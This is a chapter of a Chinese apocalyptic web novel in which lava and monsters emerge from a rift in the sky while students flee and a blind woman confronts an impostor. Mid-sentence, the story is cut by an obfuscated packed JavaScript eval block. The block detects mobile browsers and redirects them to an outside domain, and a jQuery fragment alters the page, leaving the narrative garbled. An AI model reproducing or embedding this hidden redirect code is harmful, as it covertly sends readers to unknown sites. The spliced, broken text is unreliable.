6. 污染种

“你疯了,现在这种情况,你不回宿舍躲着,去什么姜曳家?”


熔浆降临的这12小时内,因意外滞留景观湖旁图书馆的同学们,在脱困后的第一时间,所有人忙着躲藏。只有甄美,拎着个包转身要走。


同专业的何雨萍顶着高温,在宿舍门口拦住她:“再说,你自己看看,就这个天气,走不了多远就会中暑死亡!”


“你又不是她妈,咱好不容易从图书馆里跑出来的,你干嘛?”


“她比亲妈还重要。”


甄美和姜曳是初三那年认识并成为好友,姜曳不仅仅是陪伴度过前二十多年最重要阶段,更是甄美唯一的挚友和人生导师。


没有姜曳,她应该奔波于打零工,又或者反抗无效被迫嫁入大山生孩子。


没有姜曳,她不能顺利读高中读大学,更不能心无旁骛备考,追求更高学历。


除了姜曳,她没什么在乎的人。


“额……”何雨萍一时语塞。


甄美收下对方的关心,用力拍身后的包。“小雨,别担心。我身上带了很多水,实在不行我会骑共享单车。”


没信心追出去的何雨萍,只好目送甄美远去,暗暗嘀咕。


“傻子吧。”


“这个天骑车,车胎不得炸?”


“起码,得打个车吧。”


如何雨萍想的一样,明明临近傍晚,户外温度持续高涨不退,路边的共享单车胎全炸。


这可把甄美急的挠头。


姜曳身板匀称但力气小柔肤弱体,可不像她学过一招半势,遇到坏人还能上去给一梭子。


更别提姜曳现在看不到了,即使撑着力气会打两拳,估计也打不中人。


想到这里,甄美脚步加快,往学校外跑去。


刚出校门,坐地起价的黑车司机立刻围了上来。


“一千五一千五,南春市内免费接送各大车站和飞机场!”


“三千八一个人,两个人七千,南春市下所有县城都能走!”


大家都是平平淡淡普通学生,一个月生活费最多两千五,现在正是月中,谁家好人能两千五一分不少。


同样被围住的学生们,咬牙商量:“叔叔,支持到家支付吗?”


“支持!”


最后一辆黑车司机接好学生后,顺口询问看了半天的甄美:“你要不要上车?算你三千咋样?”


“我去南春小区。”


南春小区距离大学城只有二十几分钟车程,就算坐地起价撑死五百。


黑车司机眼睛一亮,有钱人啊!


“那就算你——”


“五百,能走就走,不能走拉到!”甄美一狠心,作势要走。黑车司机连忙喊,“走走走,怎么不走。”


“不过,你要等我送完这个同学。”


后座打开,坐着个不认识的卷短发小妹妹,此刻额头挂满汗,着急道:“先走我的,我先给的钱!”


“要多久?”她急,甄美也急。


黑车司机叼着根没点火的烟,一脚油门。“去的万洋机场,快的很!”


在交通规则范围里,黑车如同雨燕,疯□□车十分迅猛。快速驶入青年高架后,因前方通行较慢,车流也被迫慢下来。


走走停停,所有车辆忍着怒火,有一搭没一搭往前开着车。


晚上七点半,在即快下高架时,车流干脆滞停一动不动。


黑车司机降下车窗,冲着前面白色轿车,破口大骂:“他妈的,怎么又停住了!”


“就是啊!走不走了!”


“最前面的,到底是谁!”


这个时候能冒着高温跑车都是需要赚钱的,这个时候能冒着这么贵的价格坐车都是有急事的。


车上的卷发小姑娘都快要哭出来了:“叔叔,我飞机快要晚点了!”


青年高架桥的尽头,连接的是前往机场的青年路,由于来去是被设备隔开,导致甄美想要返程,也只能等下高架再说。


“别哭了,只能等会了。”甄美揉着烦躁发胀的太阳穴,强迫自己恢复平和。


“呜呜呜,我还和妈妈说好接机,她看不到我会更着急。”没人安慰还好,这有人安慰了卷发妹妹险些没忍住眼泪。


“行了行了,别哭了!我下车看看!”


叼烟司机撂下话,干脆下车,带头往高架尽头走去。


一个人走过去,就有两人走,越来越多的人张望着尽头。


光看人去,久久没看到人回来,甄美困惑伸出头。


明明该是天黑,前方火光冲天,硬是照亮了半边天。


就在这时,叼烟司机慌乱跑回来。着急的他,裤子都快要跑掉下来也不见回头。


对上甄美视线,司机下意识爬上车想要掉头,却看到后面补上且看不到尾部的车流,大声咒骂又立马下车。


甄美一把抓住他,质问:“你去哪!说,你看到了什么!”


叼烟大叔哆嗦着,眼睛里满是恐惧:“烟雾!”


“烟雾?”卷发妹没懂,“有烟封路了?”


“算…算是。”叼烟大叔疯狂摇头,一句话怎么都说不明白,急得甄美扭头就是一巴掌。


“啪!”


一巴掌打完,卷发妹震惊注目,叼烟大叔冷静。甄美一脸平常,仿佛刚刚打人的不是她。“现在能说清楚,你看到的是什么了吗?”


叼烟大叔哆哆嗦嗦从口袋掏出打火机点上烟,猛吸一口。


“走不了!你们打我也走不了了!!!”


叼烟叔咬牙切齿从嘴里挤出这几个字。


走不了?那她瘦弱失明的好友加舍友要怎么办!


甄美掏出手机,开始打电话。


“达拉达拉~”


手机在这边响着,卷发学妹在车那边哭着:“怎么又走不了,我付了四千!!!!”


“你跑一趟,就说走不了!你知不知道我飞机票都买好了!”


“呜呜呜呜!”


叼烟叔甩开卷发学妹:“吵什么吵!哭什么哭!”


“达拉达拉~”手机铃声持续响着,叼烟叔暴躁吼道,“还打电话,打个屁电话!”


“世界末日了大姐!还打你那破电话呢?!”


“你们知不知道前面地面都出现裂缝和烟雾,根本走不过去。”


“都死了好几个人,执法员也没到。”


在两个学生妹不解下,司机扭头打开后备箱,从里面翻出三个幼儿滑板车递过去。“大姐们,算我这单对不起你们,这是我女儿礼物车,你们一人骑一辆抓紧逃命吧!”


卷发妹听的云里雾里,打着哭嗝求助甄美:“大叔什么意思?前面出现了裂缝?裂缝不是在天上吗?这是什么么么!!!”


几人应声无意识抬头。


天穹之上,曾经裂开的小缝隙,此刻正在无边无际的扩大。被笼合其中的岩浆,以一种不符合科学发展的液体状,在裂缝中翻滚,炸开。


熔浆如同霰,自天空四散炸开,点燃地面一切可融物。


三人失语,在她们瞳孔放大的倒映里。天完全裂开半边,无数条形怪状的东西,挣扎从里面出来。


“达————”手机发出混乱的电磁声,也惊醒愣住的三人。


“劈里啪啦!”


“砰砰砰!”


不过眨眼间,大桥上的车接二连三炸开,耀眼危险的火焰烧的到处都是。


而在火光之中,一条条干枯如老树枝干又像血管瘤体,正在四处抽动。就像是书本里捞鱼一样,不同的是,这次捞出来的是一具具受伤哀嚎的人体。


“救命……”


“这是什么东西!”


“报——”


凡是被扎中的人被拉到尽头的浓雾


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880776|159811||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


中,不过一呼一吸间,再也听不到任何痛苦哀嚎。


浓雾里一定出现了比岩浆裂缝更加恐怖的东西!


是怪物!一定是怪物!


卷发学妹吓得瘫软在地,话都说不利索,本能呼喊。


“妈……妈妈!”


“卧槽!还愣着干什么!跑啊傻大姐!”司机摸着脸上火辣辣的巴掌印,蹬着滑板车扭头往家的方向逃去。


卷发学妹挣扎几番,实在爬不起又被地上的高温烫的疼,她求助哭喊:“学姐……学姐拉我一把,我求——”


她话还没说完,瘫软的身体被甄美单手拎起。“学妹,你想办法从别的地方离开南春市。”


甄美烦躁。


世界要毁灭不早点毁灭,赶在她废寝忘食备考五个月来这事?!她专业课都背了两轮了,就差十二月份考试了!


*


“小曳?不开门吗?”


“我是沈乙书,是你的男朋友。”


门外沈乙书低头询问,从背后伸出的手正在有节奏敲门,将门敲得当当作响。


屋子里,医生反驳:“小曳,你相信我!”


斜长眼睛微眯,他说,“我……我才是沈乙书,门外那个是假的。”


姜曳低垂眼角,故意问:“那外面的是谁?他为什么要冒充我的男朋友呢?”


是啊,医生为什么要假扮她男朋友,总不能是真为了来治眼睛吧。


医生神色晦暗不明:“大概是为了抢到你。”


说罢,拿起桌子上放的药水和菜刀,快步走向门口。医生抵在门上,狭长眼睛满是恶意:“你到底是谁?!”


“我是沈乙书。”


医生压低声音,冷笑肯定:“你不是他,沈乙书已经死了。”


医院大厦坍塌,熔浆高温破坏又将大楼重新扭曲盖好。从外表来看大楼完好无损,但里面早坏得不成样子。院长怕影响名誉,第一时间伪造说明。


被骗的沈乙书就这么昏迷在故障电梯里,随后来不及救援就从十九层高坠下去。


门外沈乙书沉默片刻,道:“我可以不用死,是你推我下去。”


李医生猛然抬头。


他怎么会知道!


……


门口吵吵闹闹,姜曳收敛神色,踩着白色兔子拖鞋,一步步走进餐厅。


真的身处于其中,血腥味更加浓郁,忍着鼻头带来的酸涩感,小步往柜子方向挪动。


“咚咚咚。”登山杖敲击浸血的地板,发出沉闷声。


忽然,登山杖敲打到一块很软物体。


姜曳面不改色,一脚踢开,兔子拖鞋即刻被血染红。


在判断距离柜子相近后,她踩着鲜血蹲下,翻出个冰凉铁盒子。


她缓缓一笑,找到了。


……


门口。


李医生面色发白,他紧张咽着口水,头也不回冲着身后姜曳求助:“小曳,外面的人是疯子,我们不能让他进——”


冰冷刺骨的刀,架在他的脖颈处。


“小曳?”李医生意外,“我才是你男朋友!”


姜曳扯动嘴角:“这话你信吗,李医生?”


“说,沈乙书去哪里了!”


她怎么也会知道!!!


他不是用了变声器,还学了沈乙书的口吻吗?!


李医生脸色更加难看,门外沈乙书发出声响。


“你露馅了!”


李医生恶从胆边生,欲要反手控制住姜曳。


瞬间,一根细长且干瘪的‘棍子’,突破大门,直直掏进李医生心脏。


黑暗中,属于李医生那颗星光亮点,骤然暗沉。


大块人体轻飘落下,又迅速被丑陋干枝拖走。


砍骨刀失去目标,姜曳抬眸:“李医生?”


门外沈乙书回答。“他走了。”